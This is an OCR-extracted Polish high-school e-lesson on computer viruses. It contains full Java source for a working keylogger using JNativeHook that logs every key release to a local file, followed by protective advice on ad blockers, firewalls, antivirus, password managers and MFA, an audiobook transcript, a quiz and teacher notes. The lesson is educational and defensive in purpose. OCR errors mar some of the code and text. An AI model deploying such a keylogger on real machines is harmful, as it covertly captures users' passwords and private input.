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Wirusy komputerowe - implementacja w jezyku Java

Zrédto: Markus Spiske, domena publiczna.

Cyberataki wraz ze zloSliwym oprogramowaniem sg realnymi zagrozeniami. Wiedza na
temat tego, jak si¢ przed nimi broni¢ oraz minimalizowac ryzyko infekcji komputera jest
kluczowa dla bezpieczenstwa sprzetu.

Wiecejinformacji na temat wiruséw komputerowych znajdziesz w e-materiatach:

» Wirusy komputerowe,

o Wirusy komputerowe - implementacja w jezyku C++,

» Wirusy komputerowe - implementacja w jezyku Python.
Twoje cele

e Zapoznasz si¢ z implementacja prostego keyloggera w jezyku Java.
» Dowiesz sig¢, czym jest zapora sieciowa i jak jg skonfigurowac.

e Poznasz metody ochrony przed cyberatakami i ztosliwym oprogramowaniem.
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Przeczytaj

Implementacja prostego keyloggera

Do implementaciji naszego prostego keyloggera w jezyku Java uzyjemy zewnetrzne;j
biblioteki o nazwie JNativeHook. Funkcje w niejzapisane wykorzystamy do wykrywania
nacisniec¢ klawiszy na klawiaturze.

Natomiast aby zapisa¢ zebrane informacje w pliku skorzystamy z pakietu PrintStream
oraz FileOutputStream.

Pelny kod prostego keyloggera w jezyku Java jest nastepujacy:

/* Najplierw importujemy pakiety zwigzane z
przechwytywaniem nacisnie¢ klawiszy w systemie */
import org.jnativehook.GlobalScreen;

import org.jnativehook.NativeHookException;

import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;

/* Nastepnie importujemy pakiety zwigzane z
wypisywaniem zebranych danych do lokalnego pliku */
import java.io.FileNotFoundException;

import java.io.PrintStream;

import java.util.logging.Level;

import java.util.logging.Logger;

import java.io.FileOutputStream;
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/* Aby nasz keylogger zawieral metody klasy siuzagcej
do przechwytywania nacisniec¢, musimy po nim
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dziedziczyc¢ */
public class KeyLogger implements NativeKeylListener {

=
(]

20 /* Meotda, ktéra sie uruchamia przy kazdym

21 nacisnieciu klawisza. Nie bedziemy z niej

22 korzystac */

23 public void nativeKeyPressed(NativeKeyEvent e) {}
24

25 /* Metoda, ktora sie uruchamia przy kazdym

26 nacisnieciu klawisza odpowiadajgcego za

27 napisanie czytelnego znaku (cyfry, liczby,
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znaku specjalngo). RoOwniez nie bedziemy z niej
korzystac */
public void nativeKeyTyped(NativeKeyEvent e) {}

/* Metoda, ktdora sie uruchamia przy kazdym
zwolnieniu klawisza */
public void nativeKeyReleased(NativeKeyEvent e) {
System.out.println(
"Zwolniono klawisz: " +
NativeKeyEvent.getKeyText(e.getKeyCode())

)

public static void main(String[] args) {
/* Najpierw tworzymy obiekt rejestrujacy
nacisniecia klawiszy */
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException ex) {
System.exit(1);

/* W domySle nasz obiekt bedzie rowniez wypisywat

informacje o aktywnosci myszki. Nie chcemy tego,

wiec wytgczamy te funkcje */

Logger logger = Logger.getLogger(
GlobalScreen.class.getPackage().getName()

)

logger.setLevel(Level.OFF);

logger.setUseParentHandlers(false);

/* Nastepnie ustawiamy domysSlny strumien wyjscia tak
aby wypisywal on do lokalnego pliku */
try {
System.setOut(new PrintStream(
new FileOutputStream("LogFile.txt", true))
)
} catch (FileNotFoundException e) {
System.exit(1);



70 // Uruchamiamy dziatanie naszego obiektu

71 GlobalScreen.addNativeKeyListener (new KeyLogger());
72 }

73 }

Dzieki wykorzystaniu paru metod z biblioteki JNativeHook otrzymujemy w petni
dziatajagcego keyloggera. Dodatkowo jego kod jest naprawde krotki oraz mato
skomplikowany. Dobrze to prezentuje, jak niewiele potrzeba do napisania dziatajgcego
ztoSliwego oprogramowania. Warto zatem wiedzie¢, jak si¢ przed nim chronic.

Ochrona przed ztosliwym oprogramowaniem

Pamietajmy, ze najstabszym ogniwem w tancuchu ochrony komputera przed ztosliwym
oprogramowaniem jest cztowiek. JesteSmy podatni na techniki manipulacyjne i to
najczesciej nasze wiasne dziatania skutkuja zainfekowaniem komputera. Jak zatem
ograniczy¢ ryzyko infekciji?

Swiadome korzystanie z internetu i jego zasobéw

Przede wszystkim nalezy mie¢ na uwadze, ze internet jest peten zagrozen dla naszego
komputera. Zwyktle klikniecie hipertacza znajdujacego sie w tresci maila albo strony
internetowej moze skutkowac pobraniem ztosliwego oprogramowania.

Dlatego podczas rutynowego sprawdzania skrzynki pocztowej, mediéw spotecznosciowych
czy nawet podczas zwyklego surfowania po internecie nalezy pamieta¢ o podstawowych
zasadach ostroznosci.

Blokowanie reklam i wyskakujgcych okien

Moze sie zdarzy¢, ze zainfekujemy komputer poprzez nieumyslne klikniecie interesujgce;j
nas reklamy na stronie internetowe;j.

Przegladarki takie jak Firefox, czy Google
Chrome pozwalajg na automatyczne
blokowanie wyskakujgcych okien i reklam

poprzez odpowiednie dostosowanie
wygraj 7
1000000zt!
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ustawien przegladarki. Dodatkowo mozemy
zainstalowa¢ w przegladarce odpowiednie

wtyczki.

Najpopularniejszymi i najlepiej ocenianymi
wtyczkami blokujacymi reklamy sa AdBlock,
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R.O.B.E.R.T. oraz AdBlocker Ultimate. Zapobiegaja one Sledzeniu przez reklamodawcow
oraz poprawiaja szybkos¢ dziatania przegladarki. Dodatkowo majg one funkcje
dopuszczalnosci reklam na wskazanych przez uzytkownika stronach, dzieki czemu
zapewniaja wieksza kontrole nad systemem blokowania.

Dokonujac wyboru wtyczki, nalezy kierowac sie opiniami ekspertow z branzy
cyberbezpieczenstwa, ktorzy je przetestowali. Niektore wtyczki blokujace reklamy mogg
okazac sie szkodliwe dla uzytkownika. Moga one wykrada¢ wrazliwe dane lub wyswietla¢
szkodliwe reklamy, ktore sg najczesciej oszustwem. Przyktadem takiej wtyczki byt dostepny
w 2015 roku Adblock Super. Dodatkowo nalezy pamietac, ze blokowanie reklam niesie za
sobg pewne ograniczenia. Sporo serwisOw internetowych zarabia na wyswietlaniu reklam.

Zapora sieciowa

Zapora sieciowa petni funkcje potgczenia ochrony sprzetoweji programowej wewnetrznej
sieci LAN przed nieuprawnionym dostepem z zewnatrz. Cz¢sto jest to realizowane przy
pomocy oddzielnego sprzetu komputerowego wyposazonego w system operacyjny

z odpowiednim oprogramowaniem.

Na komputerach osobistych role zapory sieciowej moze tez peini¢ program filtrujgcy
potaczenia wchodzace i wychodzgce. Zapory sieciowe nie tylko zabezpieczajg system
przed danymi z zewnatrz, ale tez chronig dane przed nieuprawnionym wyplywem z sieci
lokalnej. Dodatkowo zapory sieciowe prowadza dzienniki zdarzen, ktore zawierajg zbiorcze
informacje na temat aktywnosci sieciowej procesow komputerowych, dzigki czemu
uzytkownik jest w stanie wykry¢ podejrzang aktywnosc¢ sieciowa.

Zapora sieciowa jest pewnego rodzaju barierg pomiedzy nasza siecig lokalng a internetem.
Zazwyczaj tworcy systemow operacyjnych zapewniajg podstawowe zapory w celu
zabezpieczenia uzytkownikow. Dodatkowo s3 dostepne darmowe i komercyjne systemy,
ktore pozwalaja na tatwiejsza konfiguracije zapory oraz poszerzaja jej funkcjonalnosc.

Jednym z nich jest darmowy program o nazwie GlassWire. Aplikacja ta oferuje szereg funkcji
umozliwiajgcych kontrole ustawien zapory sieciowej. Pozwala ona catkowicie zablokowac¢
dostep do internetu dla dowolnej aplikacji dziatajgcej na naszym komputerze.
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Wykres Uzycie Rzeczy Zapora Alerty

Zapora

# Kliknij Do Zablok...

Aplikacje Hosty VirusTotal
Proces hosta dla zadan systemu Windows

Proces hosta dla zadan systemu Windows

Alerty (1)

taskhostw.exe

c\windows\system32\taskhostw.exe
6.2.19041.662

Microsoft Windows =

Nie skanowano
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@ Overwolf

GlassWire Control Service

Aplikacja ta rowniez prowadzi dziennik zdarzen, w ktérym mozna znaleZ¢ informacje na
temat podejrzanego ruchu sieciowego oraz nowo zaobserwowanej aktywnosci sieciowej
aplikaciji. Dzieki temu uzytkownik moze dowiedzie¢ si¢ o potencjalnie niechcianej
aktywno$ci procesow.

®

Wykres Uzycie Rzeczy Zapora Alerty
Aplikacje  Typ 0Oznacz wszystkie jako przeczytane
. @ 18:10. Pierwsza aktywno$¢ sieciowa I 1 cs-geo-dds.trafficmanager.net
Aplikacja nawigzata pierwsze polaczenie sieciowe. Proces hosta dla zadan systemu Wind...
@ 18:10. Pierwsza aktywnos¢ sieciowa E= waws-prod-ch1-015 cloudapp.net
Aplikacja nawigzata pierwsze potaczenie sieciowe g Snagit Editor
@ 18:04. Pierwsza aktywno$é sieciowa = 50005.s-msedge.net
Aplikacja nawigzata pierwsze potaczenie sieciowe. 1] Microsoft Office Click-to-Run (SxS)

Dodatkowo GlassWire pozwala na doktadng analize zuzycia transferu danych przez
poszczegolne aplikacje. Zaobserwowang aktywnoSc¢ sieciowg mozna przeanalizowac na
podstawie rodzaju komunikaciji, czy chociazby wydawcy aplikacii.



Uzycie
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Wykres Rzeczy Zapora Alerty
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Aplikacje Hosty
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Hypertext Transfer Pro...
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Dropbox LanSync Pro... 008 3K5 @ Razer Central Service 287.3KB  m= a323.dscb.akamai.net 10 MB
: : 169.7MB 3.8 MB == ]

Web Services Dynamic... 008 628K Background Task Host ~ 116.7 KB == www.the3gi.com 9.1 MB
HTTP Alternate K 14 K8 Device Association Fra.. 100.2 KB == iytimg.com 6.2 MB
Multicast DNS (mDNS) 4K 51K m Overwolf 449 KB [ I star-mini.c10r.faceboo... 5.0MB
Microsoft SSDP Enabl... 52KB 32kB o OriginWebHelperService 40.4 KB == scontent-frt3-2.xx.focd. 4.9 MB
NetBIOS Name Service 4048 421 Zewnglrame Loksine [ Discord 34.2KB . rSsnuloxufSfeygoo..  3.6MB
113 MB 943.6 KB +8 wiece] 100.9KB +155 wiece] 21.4MB
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Oprogramowanie antywirusowe

Kolejnym sposobem na zabezpieczenie swojego komputera jest korzystanie z programu
antywirusowego. Jego dziatanie polega na ciagglym monitorowaniu dziatajgcych procesow
i alarmowanie, gdy ktorys z nich wykonuje co$ podejrzanego. Na biezgco skanuje rowniez
komputer w poszukiwaniu zainfekowanych plikow. Znajdziesz tak ptatne, jak i bezptatne
oprogramowania antywirusowe.

Pamietajmy, aby na naszym komputerze byt zainstalowany jeden program antywirusowy.
W przypadku dwoch lub wigcej tego rodzaju programow moze sie zdarzyc¢, ze jeden z nich
bedzie blokowat pozostale, poniewaz bedzie uwazat ich dziatania za podejrzane.

Metody ochrony przed wyciekiem danych

Rejestrujgc sie na réznego rodzaju serwisach internetowych, bardzo czesto musimy podac
swoje prywatne dane. Zawsze musimy zaktada¢, ze dane z takiego serwisu moga wycieknac
w wyniku skutecznego cyberataku. W jaki sposob ograniczy¢ konsekwencje wycieku
naszych danych?

Menadzery haset

Warto korzysta¢ z menadzera hasetl. Czesto zdarza sie, ze rejestrujemy sie w roznych
serwisach, uzywajac tego samego hasta albo zmieniajagc w nim pare¢ ostatnich znakow.
Niestety w momencie, w ktorym nasze hasto wycieknie do internetu, atakujagcy mogg
zalogowac si¢ tym samym hastem na kazdy inny serwis, na ktoérym jesteSmy zarejestrowani.
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Kolejnym problemem jest wymyslanie
nowych, skomplikowanych haset oraz
zapami¢tywanie kazdego z nich. W tym moze
nam pomoc menadzer hasel. Za jego pomocg
mozemy utworzy¢ zaszyfrowany plik na
naszym dysku, ktoéry mozna jedynie
odszyfrowac, podajac odpowiednie hasto

w naszym menadzerze. Wtedy musimy
jedynie pamietac jedno skomplikowane hasto.
Dodatkowo menadzery haset maja
wbudowane generatory losowych hasel, dzieki czemu nie musimy ich wymyslac.

Istniejg platne i bezplatne menadzery hasel, ktore zazwyczajréznia si¢ dodatkowymi
funkcjami, takimi jak automatyczne uzupetnianie pél do logowania na stronie. Jednym
z najpopularniejszych menadzerow haset jest KeePassXC.

Jego dziatanie opiera si¢ na przechowywaniu haset w pliku, ktory jest zaszyfrowany
specjalnym hastem. Powinno ono by¢ odpowiednio dtugie oraz skomplikowane, przez co
odszyfrowanie tego pliku przez atakujgcego bedzie niemozliwe. Dzigki menadzerowi haset
nie trzeba pamietac¢ wielu skomplikowanych hasetl, a zaledwie jedno.

Program zawiera wbudowany generator hasetl, w ktorym mozna sprecyzowac dtugosc¢ hasta
oraz to, z jakich typow znakow ma sie ono sktadac. Dzigki temu uzytkownik nie musi sam
wymysla¢ bezpiecznych haset. Dodatkowo tworzac nowy wpis w naszej bazie, mozna podac
dodatkowe informacje, takie jak data wygasniecia hasta czy powigzana z nim nazwa

uzytkownika.
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KeePassXC oferuje takze funkcje autowpisywania haset na sprecyzowanych przez
uzytkownika stronach internetowych. Dzigki temu podczas logowania nie trzeba kopiowac
odpowiedniego hasta z bazy danych.
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Podczas wybierania menadzera haset nalezy postawi¢ na programy dobrze znane

i polecane przez ekspertow z branzy cyberbezpieczenstwa. Nalezy rowniez zwroci¢ uwage
na to, czy aplikacja jest aktualna i wciaz rozwijana przez producenta. Korzystanie

z aktualnych wersji programow zdecydowanie zmniejsza ryzyko wystgpienia btedow i luk,
ktore mogg prowadzi¢ do utraty wartosciowych danych.

Uwierzytelnianie wielopoziomowe

Po wycieku naszych danych do logowania chcielibySmy si¢ rowniez zabezpieczy¢ przed
tym, aby atakujacy nie zalogowat si¢ na nasze konto przed zmiang hasta. Dobrym
rozwiazaniem jest stosowanie wielopoziomowej weryfikacji.

NajczeSciej opiera sie ona na korzystaniu z telefonu jako urzadzenia do potwierdzenia
naszej tozsamosci w trakcie logowania. Dzigki temu nawet jezeli atakujacy otrzyma nasze
dane do logowania i tak nie bedzie si¢ w stanie nimi zalogowac bez naszego telefonu.

Stownik
hipertacze

zawarty w dokumencie elektronicznym odnosnik, ktory prowadzi do innego dokumentu
program antywirusowy




program, ktorego zadaniem jest lokalizowanie, usuwanie i ograniczanie skutkow
dziatania wiruséw komputerowych
zapora sieciowa

system zajmujacy si¢ monitorowaniem oraz kontrolg ruchu sieciowego bazujac na
ustalonych wczesniejregutach bezpieczenstwa; termin ten moze odnosic¢ si¢ do sprzetu
komputerowego ze specjalnym oprogramowaniem, jak i do samego oprogramowania
blokujacego

keylogger

rodzaj oprogramowania lub urzadzenia rejestrujacego klawisze naciskane przez
uzytkownika
phishing

metoda oszustwa, w ktorej przestepca podszywa si¢ pod inng osobe lub instytucje w celu
wytudzenia poufnych informaciji



Audiobook

Polecenie 1

Zapoznaj sie z audiobookiem, a nastepnie zastandw sie, w jaki jeszcze sposéb mozesz

sie chroni¢ przed wirusami komputerowymi.

Audiobook mozna wystucha¢ pod adresem: https:/zpe.gov.pl/b/PswJCNU1E

»Lepiejzapobiegac, niz leczyc¢”, jak powiedziat Hipokrates. I cho¢ stowa te dotyczyty
choréb i Swiata medycyny, mozemy je odniesc¢ takze do kwestii zagrozen ptynacych ze
strony wirusoOw komputerowych. Skutki zainfekowania naszego urzadzenia ztoSliwym
oprogramowaniem mogg by¢ bardzo dotkliwe, zwlaszcza gdy wiaza si¢ ze stratami
finansowymi czy przechwyceniem waznych danych. Aby unikng¢ tego typu sytuacii,
nalezy stosowac tak zwana profilaktyke antywirusowa. Jest to zestaw dziatan majacych
na celu maksymalne zredukowanie szansy zainfekowania naszego sprzetu.
Przypomnijmy najwazniejsze z nich na przykladach sytuacji, w ktorych dziatania te

moga by¢ kluczowe w obronie przed zlo$liwym oprogramowaniem.

Pierwszg i chyba najwazniejsza zasadg w profilaktyce antywirusowej jest zasada
ograniczonego zaufania. Wiele stynnych wiruséw, jak cho¢by robak LOVEYOU,
rozprzestrzenialo sie za poSrednictwem zalgcznikow w e-mailach. Zazwyczaj byly to
wiadomosci, ktore na pierwszy rzut oka nie wzbudzaty zadnych podejrzen ani
skojarzen z potencjalnym oszustwem. W ten wtasnie sposob miliony ludzi
nieSwiadomie pobieralo na swoje komputery niebezpieczne oprogramowanie. Nalezy
wiec przede wszystkim zachowac czujnos¢ — unikac Sciggania i otwierania
niezidentyfikowanych plikow czy odwiedzania dziwnych, nieznanych stron
internetowych. Zasada ta obowigzuje tak samo w gronie o0sob, do ktéorych mamy
zaufanie. Pamietajmy, ze przestane do nas pliki mogg by¢ podejrzane lub
niebezpieczne, nawet jesli wyszly ze skrzynki naszego znajomego. On przeciez takze
mogl pas¢ ofiarg wirusa, ktory dziata w ten sposob, ze samoistnie rozsyta zainfekowane

oprogramowanie do kolejnych osob.

Warto przy okazji wspomnie¢ o wiadomosciach skonstruowanych tak, by wywotac u
odbiorcy niepokdji szybkg, nieprzemyslang reakcje. Naglte wezwanie do zaptaty, na
przykiad za zalegty rachunek czy przesytke kurierska, to czesta praktyka stosowana

przez oszustow. Wystany w wiadomosci link moze prowadzi¢ do strony tudzaco
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przypominajgcej witryne banku, ktora w rzeczywistosci postuzy do wytudzenia naszych
danych. Nie jest to juz co prawda dziatanie zwigzane bezposrednio ze ztosliwym
oprogramowaniem, jednakze warto o nim wspomniec¢ jako o dos¢ powszechne;j
metodzie stosowanejw oszustwach internetowych. Rownie niebezpieczne moze by¢

pobieranie pirackich programow, ktore s3a czestym zrodiem roznego typu wirusow.

Zdarza si¢ jednak, ze pomimo przestrzegania wszelkich zasad bezpieczenstwa oraz
konsekwentnego unikania przedstawionych tu sytuacji na naszym sprzecie i tak
pojawia si¢ ztosliwe oprogramowanie. Wtasnie dlatego tak wazne jest posiadanie
odpowiedniego programu antywirusowego - bedzie on w stanie wykryc¢ i
zneutralizowac¢ zagrozenie, zanim wyrzadzi ono jakas szkode. Obecnie programy
antywirusowe posiadajg wiele funkcjonalnosci, zapewniajac ochrone przed
przer6znymi niebezpieczenstwami. Jednak nawet najlepszy software nie bedzie dziatat
prawidtowo, jezeli nie spetnimy podstawowego warunku: posiadania na komputerze
tylko jednego, na biezaco aktualizowanego programu antywirusowego. Posiadanie
jednoczesnie wigkszejliczby antywiruséw moze paradoksalnie sprawic¢, ze zamiast
wzmagac ochrone, bedg one przeszkadzac sobie nawzajem w pracy. Nalezy przy tym
pami¢tac, ze nieaktualna wersja oprogramowania nie zabezpiecza przed najnowszymi
zagrozeniami. Istotne jest rowniez regularne skanowanie komputera w poszukiwaniu
ewentualnych wirusow. Na szczeScie w przypadku niektorych systemow operacyjnych,
takich jak na przyktad Microsoft Windows 10, oprogramowanie antywirusowe jest juz

wbudowane.

Waznym elementem ochrony naszego komputera jest rowniez posiadanie zapory
sieciowej. Jej zadaniem jest monitorowanie ruchu przychodzgcego i wychodzacego z
sieci lokalnej, w ktorej znajduje sie nasz sprzet, a w razie koniecznosci zablokowanie
niepozadanego dostepu. Dzieki temu kto$ z sieci publicznej, cho¢by z internetu, nie
bedzie mogt na przykiad zainfekowa¢ naszego komputera wirusem czy wywotac

nadmiernego natezenia w naszej sieci.

PrzedstawiliSmy tu najwazniejsze elementy profilaktyki antywirusowej. Historia
szkodliwego oprogramowanie pokazuje, ze olbrzymia skala rozprzestrzeniania si¢
stynnych wirusow czesto wynikata wtasnie z nieprzestrzegania podstawowych zasad
bezpieczenstwa. Na szczeScie Swiadomo$¢ przecietnego uzytkownika komputera i

internetu jest coraz wieksza i znacznie utrudnia dziatanie oszustom oraz hakerom.

Zrédto: Englishsquare.pl sp. z 0.0., licencja: CC BY-SA 3.0.



Sprawdz sie

Pokaz ¢wiczenia: O O @

Cwiczenie 1
Zaznacz nazwe zewnetrznej biblioteki, ktérej uzyto do zaimplementowania keyloggera.

() JavaNativeHook
() JHook
() NativeHook

() JNativeHook

Cwiczenie 2
Wskaz, jakie ograniczenie niesie za sobg blokowanie reklam na stronach internetowych.

Dziatanie przegladarki jest bardzo mocno spowolnione w wyniku blokowania
reklam.

O

() Niektore serwisy moga blokowa¢ dostep osobom, ktére blokuja reklamy.

O Niektére serwisy moga nie wyswietlac reklam, co jest problematyczne dla
programoéw blokujgcych reklamy.

Cwiczenie 3
Zdecyduj, czy zdanie jest prawdziwe.
Zapory sieciowe pomagaja zabezpieczy¢ nasz komputer przed niechcianymi intruzami.

() fatsz

() prawda




Cwiczenie 4 »
Wskaz, maksymalna liczbe programéw antywirusowych zainstalowanych jednoczesnie na
komputerze.

O O O

O 3

Cwiczenie 5 O
Wskaz, z ktorych pakietdw mozna skorzystaé, aby wypisa¢ zebrane informacje do lokalnego
pliku w naszej implementacji prostego keyloggera.

Z pakietéw Print oraz FileOutput.
Z pakietow PrintStreamoraz FileOutput,.

Z pakietow Print oraz FileOutputStream.

O O O O

Z pakietow PrintStreamoraz FileOutputStream.



Cwiczenie 6 @
Wskaz abstrakcyjne metody obiektu NativeKeyListener z biblioteki JNativeHook,
ktére uruchamiajg sie przy kazdym nacisnieciu klawisza.

nativeKeyReleased

nativeKeyActive

nativeKeyTyped

O o 0O O

nativeKeyOn

(] nativeKeyPressed

Cwiczenie 7 @

Uzupetnij tekst.

Do ochrony swojego komputera przed ztosliwym oprogramowaniem wykorzystuje sie miedzy

______________

______________
______________

‘ cyberatakow ’ ‘ testow penetracyjnych ’ ‘ programy antywirusowe ’ ‘ jednopoziomowego

‘ menadzery haset ’ ‘ wtyczki do przegladarek ’ ‘ wielopoziomowego ’




Cwiczenie 8

Potacz w pary pojecia z ich definicjami.

hipertacze

program antywirusowy

zapora sieciowa

zawarty w dokumencie elektronicznym
odnosnik, ktéry prowadzi do innego
dokumentu

program, ktérego zadaniem jest
lokalizowanie, usuwanie i ograniczanie
skutkoéw dziatania wirusow
komputerowych

system zajmujacy sie monitorowaniem
oraz kontrolg ruchu sieciowego bazujac
na ustalonych wczesniej regutach
bezpieczenstwa



Dla nauczyciela

Autor: Bartosz Zadrozny
Przedmiot: Informatyka

Temat: Wirusy komputerowe - implementacja w jezyku Java
Grupa docelowa:

Szkota ponadpodstawowa, liceum ogolnoksztatcace, technikum, zakres podstawowy
i rozszerzony

Podstawa programowa:
Cele ksztalcenia - wymagania ogolne

V. Przestrzeganie prawa i zasad bezpieczenstwa. Respektowanie prywatnos$ci informaciji
i ochrony danych, praw wlasnosci intelektualnej, etykiety w komunikacji i norm
wspoltzycia spotecznego, ocena zagrozen zwigzanych z technologia i ich uwzglednienie
dla bezpieczenstwa swojego i innych.

Tresci nauczania - wymagania szczegolowe
III. Postugiwanie si¢ komputerem, urzagdzeniami cyfrowymi i sieciami komputerowymi.

Zakres rozszerzony. Uczen spetnia wymagania okreslone dla zakresu podstawowego,
a ponadto:

5) wyjasnia, od czego zalezy sprawne funkcjonowanie sieci komputerowejoraz szybki
dostep do jej ustug i zasobow (parametry osprzetu sieciowego, szerokos¢ pasma,
zabezpieczenia typu Sciana ogniowa i programy antywirusowe, mozliwosci serwera).

V. Przestrzeganie prawa i zasad bezpieczenstwa.
Zakres podstawowy. Uczen:

3) stosuje dobre praktyki w zakresie ochrony informacji wrazliwych (np. hasta, pin),
danych i bezpieczenstwa systemu operacyjnego, objasnia role szyfrowania informaciji;

Ksztaltowane kompetencje kluczowe:

« kompetencje cyfrowe;

» kompetencje osobiste, spoleczne i w zakresie umiejetnosci uczenia sig;

» kompetencje matematyczne oraz kompetencje w zakresie nauk przyrodniczych,
technologii i inzynierii.



Cele operacyjne (jezykiem ucznia):

e Zapoznasz si¢ z implementacja prostego keyloggera w jezyku Java.
» Dowiesz sig, czym jest zapora sieciowa i jak ja skonfigurowac.
e Poznasz metody ochrony przed cyberatakami i ztoSliwym oprogramowaniem.

Strategie nauczania:

o konstruktywizm;
o konektywizm.

Metody i techniki nauczania:

o dyskusja;
e rozmowa nauczajaca z wykorzystaniem multimedium i ¢wiczen interaktywnych;
» metody aktywizujgce.

Formy pracy:

e pracaindywidualna;

e pracaw parach;

e pracaw grupach;

e praca catego zespotu klasowego.

Srodki dydaktyczne:

» komputery z gtoSnikami, stuchawkami i dostepem do internetu;

 zasoby multimedialne zawarte w e-materiale;

« tablica interaktywna/tablica, pisak /kreda;

« telefony z dostepem do internetu;

« oprogramowanie dla jezyka Java SE 8 (lub nowszej wersji), w tym Eclipse 4.4 (lub
nowszej wersii).

Przebieg lekcji
Przed lekcja:

1. Przygotowanie do zaje¢. Nauczyciel loguje sie na platformie i udostgpnia e-materiat:
»Wirusy komputerowe - implementacja w jezyku Java”. Uczniowie maja zapoznac sie

z treSciami w sekcjach: ,,Przeczytaj’, ,Audiobook”, ,Sprawdz si¢” i wykona¢ obliczenia
na podstawie dotgczonych danych.

Faza wstepna:

1. Prowadzacy prosi uczniow, aby zglaszali swoje propozycje pytan do tematu. Jedna
osoba moze zapisywac te wskazane przez nauczyciela na tablicy. Gdy uczniowie



wyczerpig swoje pomysty, a pozostaty jakie$s wazne kwestie do poruszenia, nauczyciel je
dopowiada.

2. Nauczyciel wySwietla uczniom temat zaje¢ oraz cele. Prosi, by na ich podstawie
uczniowie sformutowali kryteria sukcesu.

Faza realizacyjna:

1. Praca z tekstem. Uczniowie przystepuja do cichego czytania tekstu e-materiatu.
Indywidualnie zapoznaja si¢ z trescig w sekciji ,Przeczytaj’.

2. Praca z multimedium. Uczniowie wspolnie stuchajg audiobooka, a nastepnie
zastanawiajg sie, w jaki jeszcze sposdb moga chroni¢ sie przed wirusami.

3. Cwiczenie umiejetno$ci. Uczniowie wykonujg ¢wiczenia nr 1-8 z sekcji ,Sprawdz sie”.
Nauczyciel sprawdza poprawno$¢ wykonanych zadan, omawiajgc je wraz z uczniami.

Faza podsumowujaca:

1. Wybrany uczen podsumowuje zajecia, zwracajgc uwage na nabyte umiejetnosci,
omawia ewentualne problemy podczas rozwigzywania ¢wiczenia z programowania
w jezyku Java

Praca domowa:

1. Uczniowie opracowuja FAQ (minimum 3 pytania i odpowiedzi) do tematu lekc;i
(,Wirusy komputerowe - implementacja w jezyku Java”).

Materialy pomocnicze:

» Oficjalna dokumentacja techniczna dla jezyka Java SE 8 (lub nowszej wersiji).
» Oficjalna dokumentacja techniczna dla oprogramowania Eclipse 4.4 (lub nowszej
wersji).

Wskazowki metodyczne:

o Uczniowie mogg wykorzysta¢ multimedium w sekcji ,Audiobook” do przygotowania si¢
do lekcji powtorkowe;.



